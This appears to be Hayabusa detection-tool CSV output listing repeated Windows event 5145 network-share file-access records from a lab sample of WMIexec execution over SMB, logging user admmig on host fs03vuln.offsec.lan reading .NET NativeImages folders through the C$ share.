10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.We9f24001# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.161 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.We9f24001#\8505e29c9b52cf09d67343a0fc6f6260 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.We0722664# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.We0722664#\4b78e11f2ba008b681ae84f8d5ffda55 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wed3937f9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wed3937f9#\11adbe13e64f66d322e04cd718460b97 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wf493a5fb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Wf493a5fb#\8b123051103ee49fa11dd81c04427182 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MIGUIControls : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MIGUIControls\26985cb1bb8c065a2e50e5ac0791fbeb : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MMCEx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.177 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MMCEx\ba21ae2888a2764f3d0df9ccd1e95506 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MMCFxCommon : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MMCFxCommon\e2ac72add0eac7c6264297f0a580e745 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MSBuild : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5eda447ab5fd1d3ae7ccfa140388c8b0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\mscorlib : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\a20cafac04a2e9b3bcb5ec4d674775e5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napcrypt : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napcrypt\c97155692ee6bc8729624e1a8f6371c1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\naphlpr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\naphlpr\8d352c21be1bcfb356df6fec4b6281ec : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.193 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napinit : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napinit\d39a7c06edcf81bed4470b0a8a5f4bb7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napsnap : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\napsnap\285c011d18a31026f939f0b45ce83c81 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1c968d57# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1c968d57#\15c0f15336d9b4baa3bf042b39325008 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1c9175f8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1c9175f8#\63dfa31687b025a3294657e7d8861b87 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1da2af67# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.209 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio1da2af67#\65893eb6f605719418cb19fada199945 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio4b37ff64# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio4b37ff64#\7258b8e8dc26562f4f79202ba192af07 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio5ae0f00f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio5ae0f00f#\37aa83ffa60682e364b3caea876452c9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio49d6fefe# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio49d6fefe#\504088f50d79f510c3d363ad5a4c58cc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio53a7a42c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio53a7a42c#\7b19e9c40f25ea7b5ca13312053ab849 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio080b339b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.240 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio080b339b#\d47241c3aea71d38b02fd1cd03c55474 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.256 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio84a7b877# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.257 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio84a7b877#\2837fdc670a5c72d64db85e2af347449 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio84a6349c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio84a6349c#\7fac8b827be2ffa333eda4ee3560d8f4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatioaec034ca# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatioaec034ca#\155b3e5bd15d88ce27d096bd7c40bd33 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatiob3047ded# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatiob3047ded#\991f02d895032e2eca7f6baebab96ddc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatiod51afaa5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatiod51afaa5#\ee4933bf7dcf5304cb565e4f2b833b24 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\PresentationCore : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\PresentationCore\71df43fcb7a7745ef38a6ce40ff33c2d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\PresentationUI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\PresentationUI\16135860bdfd502ca9212ab087e9dd26 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ReachFramework : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ReachFramework\0dbd8b9aecffc6cde6bb8aab468084f4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management 